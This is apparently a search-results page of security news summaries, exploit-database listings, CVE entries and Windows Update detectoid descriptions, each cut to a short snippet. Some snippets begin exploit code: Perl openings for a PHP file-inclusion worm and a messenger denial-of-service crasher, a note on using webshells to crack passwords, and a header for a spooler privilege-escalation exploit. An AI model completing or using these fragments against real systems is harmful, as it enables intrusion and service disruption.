556 matches found
Study Finds Popular Sites Guilty of Hi-Jacking History
A recent study launched by the UC San Diego Department of Computer Science to determine the scope of privacy-violating information flows at popular websites shows that popular Web 2.0 applications such as mashups, aggregators, and sophisticated ad targeting are teeming with various kinds of...
EU Agency Says Stuxnet Portends Future Sophisticated Attacks
The European agency responsible for protecting the critical infrastructure of EU countries is warning its member states that the Stuxnet attack represents a major change in the malware landscape and that they should be prepared for further attacks with the same level of sophistication and...
Ad Groups Try to Make Opting Out of Tracking Ads Easier
In the latest attempt to allay consumers’ rising fears about the massive amounts of data that online advertisers collect about them, an amalgamation of industry groups is planning to launch a new self-regulation effort meant to let users decide not to be tracked by advertisers. The program will...
New Tabbed Browsing Phishing Attack Exploits User Trust
A researcher has developed a new type of phishing attack that takes advantage of the way that browsers handle tabbed browsing and enables an attacker to use a script running in one tab to completely change the content in another tab. The attack, demonstrated by Aza Raskin of Mozilla, could be use...
The Coming Wave of Mobile Attacks
The pace of innovation on mobile phones and other smart wireless devices has accelerated greatly in the last few years, adding features, speed and computing power. But now the attackers are beginning to outstrip the good guys on mobile platforms, developing innovative new attacks and methods for...
Koobface Worm Infections Exploding
By Stefan Tanase, Kaspersky Lab, Romania In June, we saw an explosive rise in the number of Koobface modifications – the number of variants we detected jumped from 324 at the end of May to nearly 1000 by the end of June. And this weekend brought another flood, bringing us up to 1049 at the time o...
Think of a use webshell to run the system password of the way-vulnerability warning-the black bar safety net
| Haiyang the webshell has a switch is to control what logged in webshell. --- Assumed to have been the target of the webshell, and collected some of the password, and the target has no ftp, mssql like the port is open, then we can be used to run the system password, try luck. Specific: Modify...
Immunity Canvas: WINPCAP
Name| winpcap ---|--- CVE| CVE-2007-3681 Exploit Pack| CANVAS Description| winpcap Notes| CVE Name: CVE-2007-3681 VENDOR: WinPcap.org URL: http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=550 Notes: This exploit will auto-target based on reading a kernel file on Windows 2000 o...
Multiple Printer Providers (Spooler Service) - Local Privilege Escalation
/Private exploit- internal use only Title: Universal exploit for vulnerable printer providers spooler service. Vulnerability: Insecure EnumPrintersW calls Author: Andres Tarasco Acuña - [email protected] Website: http://www.514.es This code should allow to gain SYSTEM privileges with the following...
CVE-2006-5141
PHP remote file inclusion vulnerability in script.php in Kevin A. Gordon Open Geo Targeting aka geotarget allows remote attackers to execute arbitrary PHP code via a URL in the anppath parameter. NOTE: the provenance of this information is unknown; the details are obtained from third party...
TinyWeb 1.9 Denial of Service Exploit
Exploit for unknown platform in category dos / poc ===================================== TinyWeb 1.9 Denial of Service Exploit ===================================== TinyWeb version 1.9 DoS Exploit Coded bY ++Karak0rsan++ Usage:perl tiny.pl target...
PHPInclude.Worm - PHP Scripts Automated Arbitrary File Inclusion
!/usr/bin/perl use LWP::Simple; use IO::Socket::INET; while1 $numr = int rand9999; $caxe = "."; $caxe1 = "."; $caxe .= rand9999; $caxe1 .= rand9999; $arq = "."; $arq = int rand9999; opensites,"$arq"; print sites ""; closesites; $procura = 'inurl:.php?=' . $numr; for$n=0;$nnewPeerAddr =...
Secure Network Messenger 1.4.2 - Denial of Service
Secure Network Messenger 1.4.2 - Denial of Service !/usr/bin/perl use IO::Socket; print "\nSecure Network Messenger Crasher by ClearScreen\n"; print "\nEnter host to crash: "; $h = ; chomp $h; $socks = IO::Socket::INET-new Proto = "tcp", PeerPort = "6144", PeerAddr = "$h" or die "\nNo response fr...
Mercantec SoftCart 4.00b - CGI Overflow (Metasploit)
Mercantec SoftCart 4.00b - CGI Overflow Metasploit $Id$ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/...
EEYE: Macromedia Shockwave Flash Malformed Header Overflow
Macromedia Shockwave Flash Malformed Header Overflow Release Date: August 8, 2002 Severity: High Remote Code Execution Systems Affected: Macromedia Shockwave Flash - All Versions; Unix and Windows; Netscape and Internet Explorer Description: While working on some pre-release eEye Retina CHAM tool...
CVE-1999-0402
wget 1.5.3 follows symlinks to change permissions of the target file instead of the symlink itself...
Detectoid for 929777 -- Targeting systems that have greater than 3GB RAM
This is to check if a machine have 3GB or greater of system memory for the storport vista launch update...
WINDOWS 10 DYNAMIC UPDATE:CLIENT:GDRDU:BR:RS4_RELEASE
This detectoid will be used for targeting branch RS4RELEASE for GDR-DU...